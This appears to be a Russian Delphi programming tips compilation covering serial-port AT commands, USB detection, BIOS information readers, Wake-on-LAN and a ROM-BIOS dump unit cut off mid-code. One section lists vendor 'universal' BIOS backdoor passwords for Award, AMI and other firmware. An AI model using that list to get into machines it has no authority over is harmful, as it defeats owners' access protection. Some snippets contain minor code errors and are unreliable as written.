Вот и всё! Теперь подключите телефон, запускайте программу, ставьте галку в CheckBox'е, и, после того, как вам написали в Memo, что вы подключились вводите в Edit любую AT-команду и жмите «Послать команду». Удачи!

В) Некоторые полезные команды AT

Этими командами вы можете воспользоваться, для посылки телефону (из поля Edit):

AT+CGMI – производитель
AT+CGMM – модель телефона
AT+CPAS – состояние
AT+COPS? – оператор
AT+CGSN – номер IMEI
AT+CGMR – версия прошивки
AT+CBC – степень зарядки телефона
AT+CREG? – статус сети
AT^SCID – номер SIM-карты
AT+CIMI - номер IMSI
AT^SPIC – попыток до блокировки SIM-карты

Более подробно о командах вы сможете узнать из pdf-инструкции s35i_c35i_m35i_atc_commandset_v01.pdf (можно утащить по адресу: http://www.like.e-technik.uni-erlangen.de/...andset_v01.pdf)

Примечания: Автор: Лазуткин Алексей (alessio19@mail.ru), помощь в написании: av3nger (av3nger@hakep.com)


Write/read a string to/from the serial port

function OpenCOMPort: Boolean;
var
  DeviceName: array[0..80] of Char;
  ComFile: THandle;
begin
   { First step is to open the communications device for read/write.
     This is achieved using the Win32 'CreateFile' function.
     If it fails, the function returns false.
   }
  StrPCopy(DeviceName, 'COM1:');

  ComFile := CreateFile(DeviceName,
    GENERIC_READ or GENERIC_WRITE,
    0,
    nil,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    0);

  if ComFile = INVALID_HANDLE_VALUE then
    Result := False
  else
    Result := True;
end;

function SetupCOMPort: Boolean;
const
  RxBufferSize = 256;
  TxBufferSize = 256;
var
  DCB: TDCB;
  Config: string;
  CommTimeouts: TCommTimeouts;
begin
   { We assume that the setup to configure the setup works fine.
     Otherwise the function returns false.
   }

  Result := True;

  if not SetupComm(ComFile, RxBufferSize, TxBufferSize) then
    Result := False;

  if not GetCommState(ComFile, DCB) then
    Result := False;

  Config := 'baud=9600 parity=n data=8 stop=1';

  if not BuildCommDCB(@Config[1], DCB) then
    Result := False;

  if not SetCommState(ComFile, DCB) then
    Result := False;

  with CommTimeouts do
  begin
    ReadIntervalTimeout         := 0;
    ReadTotalTimeoutMultiplier  := 0;
    ReadTotalTimeoutConstant    := 1000;
    WriteTotalTimeoutMultiplier := 0;
    WriteTotalTimeoutConstant   := 1000;
  end;

  if not SetCommTimeouts(ComFile, CommTimeouts) then
    Result := False;
end;

{
  The following is an example of using the 'WriteFile' function
  to write data to the serial port.
}

procedure SendText(s: string);
var
  BytesWritten: DWORD;
begin
   {
     Add a word-wrap (#13 + #10) to the string
   }
  s := s + #13 + #10;
  WriteFile(ComFile, s[1], Length(s), BytesWritten, nil);
end;

{
  The following is an example of using the 'ReadFile' function to read
  data from the serial port.
}

procedure ReadText: string;
var
  d: array[1..80] of Char;
  s: string;
  BytesRead, i: Integer;
begin
  Result := '';
  if not ReadFile(ComFile, d, SizeOf(d), BytesRead, nil) then
  begin
    { Raise an exception }
  end;
  s := '';
  for i := 1 to BytesRead do s := s + d[I];
  Result := s;
end;

procedure CloseCOMPort;
begin
  // finally close the COM Port!
  CloseHandle(ComFile);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Detect if a USB device is connected or disconnected?

unit U_Usb;

interface

uses
  Windows, Messages, SysUtils, Classes, Forms;

type

  PDevBroadcastHdr  = ^DEV_BROADCAST_HDR;
  DEV_BROADCAST_HDR = packed record
    dbch_size: DWORD;
    dbch_devicetype: DWORD;
    dbch_reserved: DWORD;
  end;

  PDevBroadcastDeviceInterface  = ^DEV_BROADCAST_DEVICEINTERFACE;
  DEV_BROADCAST_DEVICEINTERFACE = record
    dbcc_size: DWORD;
    dbcc_devicetype: DWORD;
    dbcc_reserved: DWORD;
    dbcc_classguid: TGUID;
    dbcc_name: short;
  end;

const
  GUID_DEVINTERFACE_USB_DEVICE: TGUID = '{A5DCBF10-6530-11D2-901F-00C04FB951ED}';
  DBT_DEVICEARRIVAL          = $8000;          // system detected a new device
  DBT_DEVICEREMOVECOMPLETE   = $8004;          // device is gone
  DBT_DEVTYP_DEVICEINTERFACE = $00000005;      // device interface class

type

  TComponentUSB = class(TComponent)
  private
    FWindowHandle: HWND;
    FOnUSBArrival: TNotifyEvent;
    FOnUSBRemove: TNotifyEvent;
    procedure WndProc(var Msg: TMessage);
    function USBRegister: Boolean;
  protected
    procedure WMDeviceChange(var Msg: TMessage); dynamic;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property OnUSBArrival: TNotifyEvent read FOnUSBArrival write FOnUSBArrival;
    property OnUSBRemove: TNotifyEvent read FOnUSBRemove write FOnUSBRemove;
  end;

implementation

constructor TComponentUSB.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FWindowHandle := AllocateHWnd(WndProc);
  USBRegister;
end;

destructor TComponentUSB.Destroy;
begin
  DeallocateHWnd(FWindowHandle);
  inherited Destroy;
end;

procedure TComponentUSB.WndProc(var Msg: TMessage);
begin
  if (Msg.Msg = WM_DEVICECHANGE) then
  begin
    try
      WMDeviceChange(Msg);
    except
      Application.HandleException(Self);
    end;
  end
  else
    Msg.Result := DefWindowProc(FWindowHandle, Msg.Msg, Msg.wParam, Msg.lParam);
end;

procedure TComponentUSB.WMDeviceChange(var Msg: TMessage);
var
  devType: Integer;
  Datos: PDevBroadcastHdr;
begin
  if (Msg.wParam = DBT_DEVICEARRIVAL) or (Msg.wParam = DBT_DEVICEREMOVECOMPLETE) then
  begin
    Datos := PDevBroadcastHdr(Msg.lParam);
    devType := Datos^.dbch_devicetype;
    if devType = DBT_DEVTYP_DEVICEINTERFACE then
    begin // USB Device
      if Msg.wParam = DBT_DEVICEARRIVAL then
      begin
        if Assigned(FOnUSBArrival) then
          FOnUSBArrival(Self);
      end
      else
      begin
        if Assigned(FOnUSBRemove) then
          FOnUSBRemove(Self);
      end;
    end;
  end;
end;

function TComponentUSB.USBRegister: Boolean;
var
  dbi: DEV_BROADCAST_DEVICEINTERFACE;
  Size: Integer;
  r: Pointer;
begin
  Result := False;
  Size := SizeOf(DEV_BROADCAST_DEVICEINTERFACE);
  ZeroMemory(@dbi, Size);
  dbi.dbcc_size := Size;
  dbi.dbcc_devicetype := DBT_DEVTYP_DEVICEINTERFACE;
  dbi.dbcc_reserved := 0;
  dbi.dbcc_classguid  := GUID_DEVINTERFACE_USB_DEVICE;
  dbi.dbcc_name := 0;

  r := RegisterDeviceNotification(FWindowHandle, @dbi,
    DEVICE_NOTIFY_WINDOW_HANDLE
    );
  if Assigned(r) then Result := True;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


BIOS

Cодержание раздела:

Как узнать номер BIOS для разных виндов?
Как получить дату BIOS? Updated!
Как получить информацию о BIOS в Windows 9x?
Как получить информацию о BIOS в Windows NT/2000/XP?
Разбудить компьютер по сети, Использование Bios Wake-on-Lan
Получить информацию о BIOSе
Как прочитать ROM-BIOS? New!


Как узнать номер BIOS для разных версий Windows?

Windows 9X

with Memo1.Lines do
  begin
    Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));
    Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));
    Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));
    Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));
  end;

Windows NT

procedure TBIOSInfo.GetRegInfoWinNT;
var
  Registryv       : TRegistry;
  RegPath         : string;
  sl              : TStrings;
begin
  Params.Clear;

  RegPath := '\HARDWARE\DESCRIPTION\System';
  registryv:=tregistry.Create;
  registryv.rootkey:=HKEY_LOCAL_MACHINE;
  sl := nil;
  try
    registryv.Openkey(RegPath,false);
    ShowMessage('BIOS Date: '+RegistryV.ReadString('SystemBiosDate'));
    sl := ReadMultirowKey(RegistryV,'SystemBiosVersion');
    ShowMessage('BIOS Version: '+sl.Text);
  except
  end;
  Registryv.Free;
  if Assigned(sl) then sl.Free;
end;

function ReadMultirowKey(reg: TRegistry; Key: string): TStrings;
const bufsize = 100;
var
  i: integer;
  s1: string;
  sl: TStringList;
  bin: array[1..bufsize] of char;
begin
  try
    result := nil;
    sl := nil;
    sl := TStringList.Create;
    if not Assigned(reg) then
      raise Exception.Create('TRegistry object not assigned.');
    FillChar(bin,bufsize,#0);
    reg.ReadBinaryData(Key,bin,bufsize);
    i := 1;
    s1 := '';
    while i < bufsize do
    begin
      if ord(bin[i]) >= 32 then
        s1 := s1 + bin[i]
      else
      begin
        if Length(s1) > 0 then
        begin
          sl.Add(s1);
          s1 := '';
        end;
      end;
      inc(i);
    end;
    result := sl;
  except
    sl.Free;
    raise;
  end;
end;

нашел на http://www.sources.ru/delphi/system/get_bios_information_w9x.shtml
и http://www.sources.ru/delphi/system/get_bios_information_nt_2000_xp.shtml

Автор ответа: МММ
Взято с Vingrad.ru http://forum.vingrad.ru


Как получить дату BIOS?

unit BiosDate;

interface

function GetBiosDate: String;

implementation

function SegOfsToLinear(Segment, Offset: Word): Integer;
begin
  result := (Segment SHL 4) OR Offset;
end;

function GetBiosDate: String;
begin
  result := String(PChar(Ptr(SegOfsToLinear($F000, $FFF5))));
end;

end.

Взято из http://forum.sources.ru

var
  BiosDate: array[0..7] of char absolute
  $FFFF5;
  PCType: byte absolute $FFFFE;

procedure TForm1.FormCreate(Sender: TObject);
var
  S: string;
begin
  case PCType of
    $FC: S := 'AT';
    $FD: S := 'PCjr';
    $FE: S := 'XT =8-O';
    $FF: S := 'PC';
  else
    S := 'Нестандартный';
  end;
  Caption := 'Дата BIOS: ' + BiosDate + '  Тип ПК: ' + S;
end;

Взято с http://delphiworld.narod.ru


Как получить информацию о BIOS в Windows 9x?

with Memo1.Lines do
begin
Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));
Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));
Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));
Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));
end;

Взято из http://forum.sources.ru


Как получить информацию о BIOS в Windows NT/2000/XP?

В NT/2000/XP не получится прочитать значения прямо из BIOS, однако, ничего не мешает нам считать нужные значения из реестра.

procedure TBIOSInfo.GetRegInfoWinNT;
var
  Registryv       : TRegistry;
  RegPath         : string;
  sl              : TStrings;
begin
  Params.Clear;

  RegPath := '\HARDWARE\DESCRIPTION\System';
  registryv:=tregistry.Create;
  registryv.rootkey:=HKEY_LOCAL_MACHINE;
  sl := nil;
  try
    registryv.Openkey(RegPath,false);
    ShowMessage('BIOS Date: '+RegistryV.ReadString('SystemBiosDate'));
    sl := ReadMultirowKey(RegistryV,'SystemBiosVersion');
    ShowMessage('BIOS Version: '+sl.Text);
  except
  end;
  Registryv.Free;
  if Assigned(sl) then sl.Free;
end;

---------------------------
На всякий пожарный:

//следующий метод получает многострочные значения из реестра
//и преобразует их в TStringlist
function ReadMultirowKey(reg: TRegistry; Key: string): TStrings;
const bufsize = 100;
var
  i: integer;
  s1: string;
  sl: TStringList;
  bin: array[1..bufsize] of char;
begin
  try
    result := nil;
    sl := nil;
    sl := TStringList.Create;
    if not Assigned(reg) then
      raise Exception.Create('TRegistry object not assigned.');
    FillChar(bin,bufsize,#0);
    reg.ReadBinaryData(Key,bin,bufsize);
    i := 1;
    s1 := '';
    while i < bufsize do
    begin
      if ord(bin[i]) >= 32 then
        s1 := s1 + bin[i]
      else
      begin
        if Length(s1) > 0 then
        begin
          sl.Add(s1);
          s1 := '';
        end;
      end;
      inc(i);
    end;
    result := sl;
  except
    sl.Free;
    raise;
  end;
end;

Взято из http://forum.sources.ru


Разбудить компьютер по сети, Использование Bios Wake-on-Lan

{$APPTYPE CONSOLE}

uses
  SysUtils,
  Classes,
  IdBaseComponent,
  IdComponent,
  IdUDPBase,
  IdUDPClient;

function HexStringToBinString(const HexStr: string): string;
var
  i, l: integer;
begin
  Result := '';
  l := length(HexStr);
  l := l div 2;
  SetLength(Result, l);
  for i := 1 to l do
    if HexToBin(PChar(Copy(HexStr, (i - 1) * 2 + 1, 2)),
      PChar(@Result[i]), 1) = 0 then
      raise Exception.Create('Invalid hex value');
end;

procedure SendMagicPacket(MACAddress: string);
var
  s, packet: string;
  i: integer;
begin
  if Length(MACAddress) <> 12 then
    raise Exception.CreateFmt('Invalid MAC Address: %s', [MACAddress]);
  packet := HexStringToBinString('FFFFFFFFFFFF');
  s := HexStringToBinString(MACAddress);
  for i := 1 to 16 do
    packet := packet + s;
  with TIdUDPClient.Create(nil) do
  try
    Active := true;
    BroadcastEnabled := true;
    Broadcast(packet, 9);
  finally
    Free;
  end;
end;

begin
  if ParamCount <> 1 then
    WriteLn('usage: WakeOnLan MACAddress' + #10 + #13 + 'exmple: WakeOnLan 000102030405')
  else
    SendMagicPacket(ParamStr(1));
end.

Автор: Song

Взято из http://forum.sources.ru


Получить информацию о BIOSе

Вот пример как можно даты БИОС материнской платы и видеокарты выдрать.
То же самое можно с названием производителя и версией.
В WinNT приходится читать не из ПЗУ а из реестра но это достаточно надежно
- соотв ключи WinNT закрывает на запись и обновляет при каждом старте (?).
Для Win9x можешь хоть весь БИОС напрямую читать.

Получить заводской номер винчестера (не тот что getvolumeinfo дает) ИМХО
невозможно - порты IDE даже Win9x блокирует.

type
TRegistryRO = class (TRegistry)
   function OpenKeyRO (const Key: string): Boolean;
  end;
{ это уже ветхая история - был один глюк у D3}

implementation

uses WAPIInfo, Windows, SysUtils, StrUtils;

function TRegistryRO.OpenKeyRO (const Key: string): Boolean;
function
IsRelative(const Value: string): Boolean;
  begin Result := not ((Value <> '') and (Value[1] = '\')) end;
var
  TempKey: HKey;
  S: string;
  Relative: Boolean;
begin
  S := Key;
  Relative := IsRelative(S);
  if not Relative then Delete(S, 1, 1);
  TempKey := 0;
    Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0,
      KEY_READ, TempKey) = ERROR_SUCCESS;
   if Result then begin
     if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S;
     ChangeKey(TempKey, S);
    end;
end;

function GetBIOSDate : string;
const
  BIOSDatePtr
= $0ffff5;
  SystemKey = 'HARDWARE\DESCRIPTION\System';
  BiosDateParam = 'SystemBiosDate';
var
  p : pointer;
  s : string[128];
begin
  if OSisNT then begin
     with TRegistryRO.Create do try
       RootKey := HKEY_LOCAL_MACHINE;
       if OpenKeyRO (SystemKey) then begin
         s := ReadString (BiosDateParam);
        end;
       finally Free;
      end; { of try}
    end
   else try
      s[0] := #8;
      p := Pointer(BIOSDatePtr);
      Move (p^, s[1], 8);
     except FillChar (s[1],
8, '9');
    end; { of try}
  Result := copy (s, 1, 2) + copy (s, 4, 2) + copy (s, 7, 2);
end;

function GetVideoDate : string;
const
  VideoDatePtr = $0C0000;
  SystemKey = 'HARDWARE\DESCRIPTION\System';
  VideoDateParam = 'VideoBiosDate';
var
  p : pointer;
  s : string[255];
begin
  if OSisNT then begin
     with TRegistryRO.Create do try
       RootKey := HKEY_LOCAL_MACHINE;
       if OpenKeyRO (SystemKey)
        then s := ReadString (VideoDateParam)
        else s := 'NT/de/tected';
       finally Free;
      end; { of
try}
    end
   else try
      s[0] := #255;
      p := Pointer(VideoDatePtr + 60); { первые $60 - строка CopyRight}
      Move (p^, s[1], 255);
      if pos('/', s) > 2 then s := copy (s, pos('/', s) - 2, 8)
       else begin
         p := Pointer(VideoDatePtr + 60 + 250);
         Move (p^, s[1], 255);
         if pos('/', s) > 2 then s := copy (s, pos('/', s) - 2, 8);
        end;
     except FillChar (s[1], 8, '9');
    end; { of try}
  Result := copy (s, 1, 2) + copy (s, 4, 2) + copy (s, 7, 2);
end;

unit WAPIInfo;

interface

uses
Registry, SysUtils, Windows;

procedure GetOSVerInfo (var OSID : DWORD; var OSStr : string);
function OSisNT : boolean;
procedure GetCPUInfo (var CPUID : DWORD; var CPUStr : string);
procedure GetMemInfo (var MemStr : string);

implementation

procedure GetOSVerInfo (var OSID : DWORD; var OSStr : string);
var
  OSVerInfo : TOSVersionInfo;
  Reg : TRegistry;
  s : string;
begin
  OSVerInfo.dwOSVersionInfoSize := SizeOf (OSVerInfo);
  GetVersionEx (OSVerInfo);
  OSID := OSVerInfo.dwPlatformID;
  case OSID of
    VER_PLATFORM_WIN32S : OSStr := 'Windows 3+';
    VER_PLATFORM_WIN32_WINDOWS : OSStr := 'Windows 95+';
   VER_PLATFORM_WIN32_NT : begin
      OSStr := 'Windows NT';
      Reg := TRegistry.Create;
      Reg.RootKey := HKEY_LOCAL_MACHINE;
      if Reg.OpenKey ('SYSTEM\CurrentControlSet\Control\', False)
        then try
         s := Reg.ReadString ('ProductOptions')
        except s := ''
       end;
      if s = 'WINNT' then OSStr := OSStr + ' WorkStation'
      else if s = 'SERVERNT' then OSStr := OSStr + ' Server 3.5 & hi'
      else if s = 'LANMANNT' then OSStr := OSStr + ' Advanced server 3.1';
      Reg.Free;

  end;
   end;
  with OSVerInfo do OSStr := OSStr + Format (' %d.%d (выпуск %d)',
   [dwMajorVersion, dwMinorVersion, LoWord(dwBuildNumber)]);
end;

function OSisNT : boolean;
var
  s : string;
  i : DWORD;
begin
  GetOSVerInfo (i, s);
  Result := (i = VER_PLATFORM_WIN32_NT);
end;

procedure GetCPUInfo (var CPUID : DWORD; var CPUStr : string);
var SI : TSystemInfo;
begin
  GetSystemInfo (SI);
  CPUID := SI.dwProcessorType;
  case CPUID of
    386: CPUStr := '80386-совместимый процессор';
    486: CPUStr := '80486-совместимый процессор';
    586: CPUStr := 'Pentium-совместимый процессор';

 else CPUStr := 'Неизвестный процессор';
   end;
{  case SI.wProcessorArchitecture of
    PROCESSOR_ARCHITECTURE_INTEL: ;
    MIPS
    ALPHA
    PPC
    UNKNOWN
   end;}
end;

procedure GetMemInfo (var MemStr : string);
var MemInfo : TMemoryStatus;
begin
  MemInfo.dwLength := SizeOf (MemInfo);
  GlobalMemoryStatus (MemInfo);
  with MemInfo do MemStr := Format ('ОЗУ: %0.2f M (свободно %0.2f M)'#$d+
   ' Файл подкачки: %0.2f M (свободно: %0.2f M)'#$d,
   [(dwTotalPhys div 1024) / 1024,
    (dwAvailPhys div 1024) / 1024,
    (dwTotalPageFile div 1024) / 1024,
    (dwAvailPageFile div 1024) / 1024]);
end;

end.

PS Возможно, эти процедуры не всегда дату возвращают
но то что практически всегда для разных материнских/видео
плат возвращаются разные значения - проверено, что мне
собственно и требовалось.
Andrey Sorokin from sunny [image] Saint-Petersburg anso@mail.ru
Russian Technology http://attend.to/rt anso@rt.spb.ru

Автор: Song

Взято из http://forum.sources.ru


Универсальные пароли к BIOS

AWARD BIOS v2.50
    AWARD_SW
    j262
    TTPTHA
    01322222
    KDD
    ZBAAACA
    aPAf
    lkwpeter
    t0ch88
    t0ch20x
    h6BB
    j09F
    TzqF

AWARD BIOS v2.51
    AWARD_WG
    j256
    BIOSTAR
    HLT
    ZAAADA
    Syxz
    ?award
    256256
    alfarome
    SWITCHES_SW
    Sxyz
    SZYX
    t0ch20x

AWARD BIOS v2.51G
    g6PJ
    j322
    ZJAAADC
    Wodj
    bios*
    biosstar
    h6BB
    HELGA-S
    HEWITT
    RAND
    HLT
    t0ch88
    zjaaadc

AWARD BIOS v2.51U
    1EAAh
    condo
    biostar
    CONDO
    CONCAT
    djonet
    efmukl
    g6PJ
    j09F
    j64
    zbaaaca

AWARD BIOS v4.5x
    AWARD_SW
    AWARD_PW
    589589
    PASSWORD
    SKY_FOX
    AWARD SW
    award.sw
    AWARD?SW
    award_?
    award_ps
    ZAAADA

AMI BIOS
    AMI
    AMI_SW (не унивеpсальный но устанавливается пpи сбpосе CMOS/SETUP'a)
    SER
    Ctrl+Alt+Del+Ins (держать при загрузке, иногда просто INS) ;)
    A.M.I.
    aammii
    ami.kez
    ami°
    amiami
    AMI!SW
    AMI.KEY
    AMI?SW
    AMISETUP
    AMI~
    AMIPSWD
    amipswd
    helgaЯs
    bios310
    amidecod
    BIOSPASS
    CMOSPWD
    HEWITT RAND
    KILLCMOS

AMPTON BIOS
    Polrty

AST BIOS
    SnuFG5

BIOSTAR BIOS
    Biostar
    Q54arwms

COMPAQ BIOS
    Compaq

CONCORD BIOS
    last

CTX International BIOS
    CTX_123

CyberMax BIOS
    Congress

Daewoo BIOS
    Daewuu

Daytek BIOS
    Daytec

DELL BIOS
    Dell

Digital Equipment BIOS
    komprie

Enox BIOS
    xo11nE

Epox BIOS
    central

Freetech BIOS
    Posterie

HP Vectra BIOS
    hewlpack

IBM BIOS
    IBM
    MBIUO
    sertafu

Iwill BIOS
    iwill

JetWay BIOS
    spoom1

Joss Technology BIOS
    57gbz6
    technolgi

M Technology BIOS
    mMmM

MachSpeed BIOS
    sp99dd

Magic-Pro BIOS
    prost

Megastar BIOS
    star

Megastar BIOS
    sldkj754
    xyzall

Micronics BIOS
    dn_04rjc

Nimble BIOS
    xdfk9874t3

Packard Bell BIOS
    bell9

QDI BIOS
    QDI

Quantex BIOS
    teX1
    xljlbj

Research BIOS
    Col2ogro2

Shuttle BIOS
    Col2ogro2

Siemens Nixdorf BIOS
    SKY_FOX

SpeedEasy BIOS
    lesarot1

SuperMicro BIOS
    ksdjfg934t

Tinys BIOS
    tiny

TMC BIOS
    BIGO

Toshiba BIOS
    Toshiba
    24Banc81
    toshy99

Vextrec Technology BIOS
    Vextrex

Vobis BIOS
    merlin

WIMBIOSnbsp v2.10 BIOS
    Compleri

Zenith BIOS
    3098z
    Zenith

ZEOS BIOS
    zeosx

[C] Faraon

Источник: http://wasm.ru
Автор: p0s0l


Как прочитать ROM-BIOS?

 An Example of this unit is availabe as Demo Download.
// Ein Beispiel zur Anwendung dieser Unit kann als Demo heruntergeladen werden.

////////////////////////////////////////////////////////////////////////////////
//
//                            BIOS Helper for Delphi
//
//               BIOS related utilities for Win9x and WinNT(i386)
//
////////////////////////////////////////////////////////////////////////////////
//
//  The Original Code is:
//   BiosHelp.pas, released 2001-09-02.
//
//  The Initial Developer of the Original Code is Nico Bendlin.
//
//  Portions created by Nico Bendlin are
//   Copyright (C) 2001-2003 Nico Bendlin. All Rights Reserved.
//
//  Contributor(s):
//   Nico Bendlin<nicode@gmx.net>
//
//  The contents of this file are subject to the Mozilla Public License Version
//  1.1 (the "License"); you may not use this file except in compliance with the
//  License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
//
//  Software distributed under the License is distributed on an "AS IS" basis,
//  WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
//  the specific language governing rights and limitations under the License.
//
//  Alternatively, the contents of this file may be used under the terms of
//  either the GNU General Public License Version 2 or later (the "GPL"), or
//  the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
//  in which case the provisions of the GPL or the LGPL are applicable instead
//  of those above. If you wish to allow use of your version of this file only
//  under the terms of either the GPL or the LGPL, and not to allow others to
//  use your version of this file under the terms of the MPL, indicate your
//  decision by deleting the provisions above and replace them with the notice
//  and other provisions required by the GPL or the LGPL. If you do not delete
//  the provisions above, a recipient may use your version of this file under
//  the terms of any one of the MPL, the GPL or the LGPL.
//
////////////////////////////////////////////////////////////////////////////////
//
//  Revision:
//
//    2003-02-15  2.00 [NicoDE]
//                     - generic dump method completely rewritten
//                     - default range is now E000:0000-F000:FFFF
//
////////////////////////////////////////////////////////////////////////////////

{$IFDEF CONDITIONALEXPRESSIONS}
  {$DEFINE DELPHI6UP}
  {$IF NOT DEFINED(VER140)}
    {$DEFINE DELPHI7UP}
  {$IFEND}
{$ENDIF}

unit BiosHelp {$IFDEF DELPHI6UP} platform {$ENDIF};

{$MINENUMSIZE 4}
{$WEAKPACKAGEUNIT}
{$IFDEF DELPHI7UP}
  {$WARN UNSAFE_TYPE OFF}
  {$WARN UNSAFE_CODE OFF}
{$ENDIF}

interface

uses
  Windows;

const
  RomBiosDumpBase = $000E0000;
  RomBiosDumpEnd  = $000FFFFF;
  RomBiosDumpSize = RomBiosDumpEnd - RomBiosDumpBase + 1;

type
  PRomBiosDump = ^TRomBiosDump;
  TRomBiosDump = array [RomBiosDumpBase..RomBiosDumpEnd] of Byte;

type
  TRomDumpMethod = (rdmAutomatic,  // Autodetect OS type and use proper method
    rdmGeneric,    // Use 16-bit EXE program to dump the BIOS
    rdmMemory,     // Dump from process's address space (Win9x)
    rdmPhysical    // Dump from physical memory object (WinNT)
    );

function DumpRomBios(out Dump: TRomBiosDump;
  Method: TRomDumpMethod = rdmAutomatic; Timeout: DWORD = 5000): Boolean;
function DumpRomBiosEx(RomBase: Pointer; RomSize: Cardinal; out Dump;
  Method: TRomDumpMethod = rdmAutomatic; Timeout: DWORD = 5000): Boolean;

procedure ReadRomDumpBuffer(const Dump: TRomBiosDump; Addr: Pointer;
  var Buffer; Size: Cardinal);
procedure ReadRomDumpBufferEx(const Dump; Base, Addr: Pointer;
  var Buffer; Size: Cardinal);

function GetRomDumpAddr(const Dump: TRomBiosDump; Addr: Pointer): Pointer;
function GetRomDumpAddrEx(const Dump; Base, Addr: Pointer): Pointer;

implementation

////////////////////////////////////////////////////////////////////////////////
//
//  DumpRomBios16 (rdmGeneric)
//
//    Creates an 16-bit EXE program in TEMP and runs it redirected to an file.
//
//    WARNING: One day 16-bit code will not run on future Windows.
//    WARNING: You are dumping the BIOS inside the MS-DOS 'emulator'.
//

function _RomDumpCode(RomBase: Pointer; RomSize: Cardinal;
  out Code: Pointer; out Size: Cardinal): Boolean;
const
  BlockSize = $1000;
type                                     // ; RomDump (dumps mem to STDOUT)
  PRomDumpCode = ^TRomDumpCode;          // ; BlockSize MUST be multiple of 10h.
  TRomDumpCode = packed record           //
    _header: TImageDosHeader;            //
    _notice: array[0..$4F] of AnsiChar;  // @@note: db      'RomDump 2.0', ...
    init: packed record                  // @@init:
      _mov_44: array[0..2] of Byte;      //         mov     ax, 4400h
      _mov_bx: array[0..2] of Byte;      //         mov     bx, 0001h
      _dos_21: array[0..1] of Byte;      //         int     21h
      _jcf_18: array[0..1] of Byte;      //         jc      @@code
      _and_dx: array[0..3] of Byte;      //         and     dx, 0082h
      _cmp_dx: array[0..3] of Byte;      //         cmp     dx, 0082h
      _jne_0E: array[0..1] of Byte;      //         jne     @@code
      _psh_cs: Byte;                     //         push    cs
      _pop_ds: Byte;                     //         push    ds
      _mov_dx: array[0..2] of Byte;      //         mov     dx, offset @@note
      _mov_09: array[0..1] of Byte;      //         mov     ah, 09h
      _int_21: array[0..1] of Byte;      //         int     21h
      _mov_4C: array[0..2] of Byte;      //         mov     ax, 4C01h
      _int_20: array[0..1] of Byte;      //         int     21h
    end;                                 //
    code: packed record                  // @@code:
      _mov_cx: Byte;
      BlockCount: Word;   //         mov     cx, <BlockCount>
      _mov_dx: Byte;
      DatSegment: Word;   //         mov     dx, <DatSegment>
      _jcx_1C: array[0..1] of Byte;      //         jcxz    @@rest
    end;                                 //
    loop: packed record                  // @@loop:
      _psh_cx: Byte;                     //         push    cx
      _psh_dx: Byte;                     //         push    dx
      _mov_ds: array[0..1] of Byte;      //         mov     ds, dx
      _mov_dx: Byte;
      DatOffset: Word;    //         mov     dx, <DatOffset>
      _mov_cx: array[0..2] of Byte;      //         mov     cx, <BlockSize>
      _mov_bx: array[0..2] of Byte;      //         mov     bx, 0001h
      _mov_ax: array[0..2] of Byte;      //         mov     ax, 4000h
      _int_21: array[0..1] of Byte;      //         int     21h
      _pop_dx: Byte;                     //         pop     dx
      _pop_cx: Byte;                     //         pop     cx
      _jcf_1C: array[0..1] of Byte;      //         jc      @@exit
      _add_dx: array[0..3] of Byte;      //         add     dx, <BlockSize/10h>
      _lop_E4: array[0..1] of Byte;      //         loop    @@loop
    end;                                 //
    rest: packed record                  // @@rest:
      _mov_ds: array[0..1] of Byte;      //         mov     ds, dx
      _mov_dx: Byte;
      DatOffset: Word;    //         mov     dx, <DatOffset>
      _mov_cx: Byte;
      LenghtMod: Word;    //         mov     cx, <LenghtMod>
      _mov_bx: array[0..2] of Byte;      //         mov     bx, 0001h
      _mov_ax: array[0..2] of Byte;      //         mov     ax, 4000h
      _jcx_06: array[0..1] of Byte;      //         jcxz    @@exit
      _int_21: array[0..1] of Byte;      //         int     21h
      _jcf_02: array[0..1] of Byte;      //         jc      @@exit
      _mov_al: array[0..1] of Byte;      //         mov     al, 00h
    end;                                 //
    Exit: packed record                  // @@exit:
      _mov_ah: array[0..1] of Byte;      //         mov     ah, 4Ch
      _int_21: array[0..1] of Byte;      //         int     21h
    end;                                 //
  end;
const
  RomDumpCodeSize = SizeOf(TRomDumpCode) - SizeOf(TImageDosHeader);
  RomDumpCode: TRomDumpCode = (_header: (e_magic: IMAGE_DOS_SIGNATURE;
    e_cblp: Word(RomDumpCodeSize) and $1FF;
    e_cp: Word((RomDumpCodeSize - 1) shr 9) + 1;
    e_crlc: $0000;
    e_cparhdr: SizeOf(TImageDosHeader) shr 4;
    e_minalloc: $0000;
    e_maxalloc: $FFFF;
    e_ss: $0000;
    e_sp: $1000;
    e_csum: $0000;
    e_ip: SizeOf(RomDumpCode._notice);
    e_cs: $0000;
    e_lfarlc: SizeOf(TImageDosHeader);
    e_ovno: $0000;
    e_res: ($0000, $0000, $0000, $0000);
    e_oemid: $0000;
    e_oeminfo: $0000;
    e_res2: ($0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000,
    $0000, $0000);
    _lfanew: $00000000
    );
    _notice: #13#10 +
    'RomDump 2.0'#13#10 +
    'Copyright (c) 2003 Nico Bendlin'#13#10 +
    #13#10 +
    'Usage: RomDump > filename'#13#10 +
    #13#10'$';
    init: (_mov_44: ($B8, $00, $44);
    _mov_bx: ($BB, $01, $00);
    _dos_21: ($CD, $21);
    _jcf_18: ($72, $18);
    _and_dx: ($81, $E2, $82, $00);
    _cmp_dx: ($81, $FA, $82, $00);
    _jne_0E: ($75, $0E);
